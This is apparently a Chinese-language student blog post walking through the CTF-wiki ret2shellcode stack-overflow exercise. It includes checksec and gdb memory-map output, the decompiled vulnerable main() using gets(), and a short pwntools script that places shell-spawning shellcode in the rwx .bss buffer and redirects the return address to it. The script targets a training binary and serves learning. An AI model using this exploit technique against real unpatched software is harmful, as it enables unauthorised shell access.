pwn基础之ctfwiki-栈溢出-基础ROP-ret2shellcode

文章目录

  • 前言
  • 原理
  • ret2shellcode
    • 挖掘漏洞
    • 利用漏洞
  • 利用脚本(exp)
  • 总结


前言

二进制小白的学习记录,是自己写的第二篇文章,相较于第一篇文章我也做了一些改进,希望会越来越好。也希望二进制大佬们及时斧正文章的错误。


原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

ret2shellcode

挖掘漏洞

首先我们再ubuntu下利用checksec命令去检查可执行文件的保护情况

    ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

发现文件并没有开启任何的保护,源程序存在可读,可写,可执行段。那么我们用ida反编译器来分析一下源程序。

我们按照分析的流程首先打开main函数并查看其源代码,main函数源代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

在源代码中我们看到了gets函数,gets函数是一个有关栈溢出的危险函数,此函数只接受输入但不对接受内容的长度进行校验,这就形成了栈溢出。

但是这次多的一个是将get到的内容复制到buf2,那么思路来了。因为没有开启NX保护(堆栈不可执行保护),大部分字段应该有可执行权限的,那么我们可以写入一段shellcode复制到buf2段去执行。

这样的话需要我们确认buf2段是否有执行权限,以及获取buf2的地址用来覆盖栈的返回地址。

利用漏洞

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

发现buf2是在.bss段地址为0x0804A080
接下来就用gdb下的peda插件去动态调试一下程序。

gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
 →    8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

利用vmmap就可以查看.bss段的可执行权限的分布。buf2的地址为0x0804A080,观察可知buf2存在于0x0804a000——0x0804b000段内。根据显示rwx,表示该段可读、可写、可执行。

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

那么来说我们在上文所提到的思路可行。

计算偏移量的方法与本人上一篇文章ret2text方法一致,也可以说ret2shellcode是ret2text的进阶版本,以后的文章还会不断进阶。

利用脚本(exp)

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)

sh.sendline(payload)
sh.interactive()

总结

总的来说,这篇文章将我初学时所遇到的问题加以解释,希望可以帮助到入门大佬。这些知识点知识我们在学习道路上的星星点点,还需要我们将知识汇成大海啊。

参考文章链接: https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/.

你可能感兴趣的:(笔记,安全,ubuntu,python)